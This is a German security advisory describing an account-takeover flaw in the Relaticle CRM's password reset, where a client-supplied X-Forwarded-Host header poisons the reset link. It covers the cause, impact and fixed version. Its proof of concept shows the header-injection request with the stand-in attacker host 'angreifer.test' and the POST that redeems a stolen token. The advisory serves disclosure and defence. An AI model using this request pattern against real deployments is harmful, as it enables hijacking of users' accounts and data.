Relaticle: Kontoübernahme über X-Forwarded-Host im Passwort-Reset
Ein anonymer Angreifer lässt den Link in der echten Passwort-Reset-Mail auf seinen Host zeigen und übernimmt das Konto, sobald das Opfer klickt.
Advisory-ID: TP-2026-120
Produkt: Relaticle (quelloffenes CRM auf Basis von Laravel und Filament)
Schwachstellentyp: Kontoübernahme über schwache Passwort-Wiederherstellung (CWE-640)
CVE: nicht beantragt
CVSS 3.1: 8.8 (Hoch) · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Betroffene Versionen: <= 3.6.3
Hersteller-Advisory: GHSA-w9mm-vmqp-9vrx
Behoben in: 3.6.4
Gemeldet: 7. Oktober 2026
Zusammenfassung
Relaticle ist ein quelloffenes CRM auf Basis von Laravel und Filament, das hinter einem Reverse Proxy betrieben wird. Die Anwendung baut jede absolute URL, auch den signierten Link in der Passwort-Reset-Mail, aus dem Host der eingehenden Anfrage und übernimmt dafür den vom Client gesendeten Header X-Forwarded-Host. Die Host-Prüfung, die das verhindern würde, ist bei einer Installation mit nur einer Domain abgeschaltet, und das nginx-Rezept der eigenen Self-Hosting-Anleitung reicht den Header unverändert durch. Ein anonymer Angreifer fordert einen Reset für eine bekannte E-Mail-Adresse an und lässt den Link in der echten Mail auf seinen Host zeigen. Klickt das Opfer, erhält der Angreifer Token und Signatur, setzt ein neues Passwort und meldet sich als Opfer an.
Ursache
bootstrap/app.php:87-96 ruft trustProxies(at: [...]) für die RFC1918-, Loopback- und IPv6-ULA-Bereiche ohne headers:-Argument auf, sodass Laravels Standardmaske mit HEADER_X_FORWARDED_HOST gilt (vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php:22-27), und Filament signiert und versendet die Reset-URL gegen den daraus aufgelösten Host. bootstrap/app.php:132-134 liefert eine leere Liste vertrauenswürdiger Hosts, solange keine der Einstellungen app.api_domain, app.mcp_domain, app.sysadmin_domain und app.app_panel_domain gesetzt ist, und eine leere Liste schaltet die Host-Prüfung ab. Das nginx-Rezept der Self-Hosting-Anleitung setzt Host, X-Real-IP, X-Forwarded-For und X-Forwarded-Proto, setzt oder leert X-Forwarded-Host aber nicht (packages/Documentation/resources/content/docs/guides/self-hosting.md:253-270). Die Route livewire-<hash>/update, über die der Reset abgeschickt wird, trägt nur web und RequireLivewireHeaders und prüft keine Signatur, sodass ein abgegriffener Token mit einem einzigen POST eingelöst wird.
Proof of Concept
GET /app/password-reset/request (anonym, über den Reverse Proxy)
Host: crm.example.com
X-Forwarded-Host: angreifer.test
-> auf dieser Seite Reset für [email protected] anfordern
Mail an das Opfer:
http://angreifer.test/app/password-reset/reset?email=opfer%40example.com&token=<token>&signature=<signatur>
POST /livewire-<hash>/update (mit Token und Signatur aus dem Klick)
{"updates":{"password":"<neu>","passwordConfirmation":"<neu>"},"calls":[{"method":"resetPassword"}]}
Die echte Instanz erzeugt und versendet die Mail, nur der Host im Link gehört dem Angreifer. Nach dem Einlösen ist das alte Passwort des Opfers ungültig und das neue Passwort des Angreifers gültig.
Auswirkung
- Übernahme jedes Kontos, dessen E-Mail-Adresse bekannt ist und das den Passwort-Reset nutzen kann.
- Das Opfer verliert den Zugang, weil sein Passwort nicht mehr gilt.
- Zugriff auf Aufgaben, Chatverläufe und CRM-Datensätze im Workspace des Opfers mit dessen Rechten.
- Die Mail stammt von der echten Instanz, übliche Phishing-Merkmale fehlen.
Referenzen
Steckt so etwas in Ihrer Software?
Diese Schwachstelle hat unser Team im Rahmen seiner Arbeit gefunden. Lassen Sie Ihre Anwendungen von denselben Spezialisten prüfen, mit einem Penetrationstest von turingpoint.
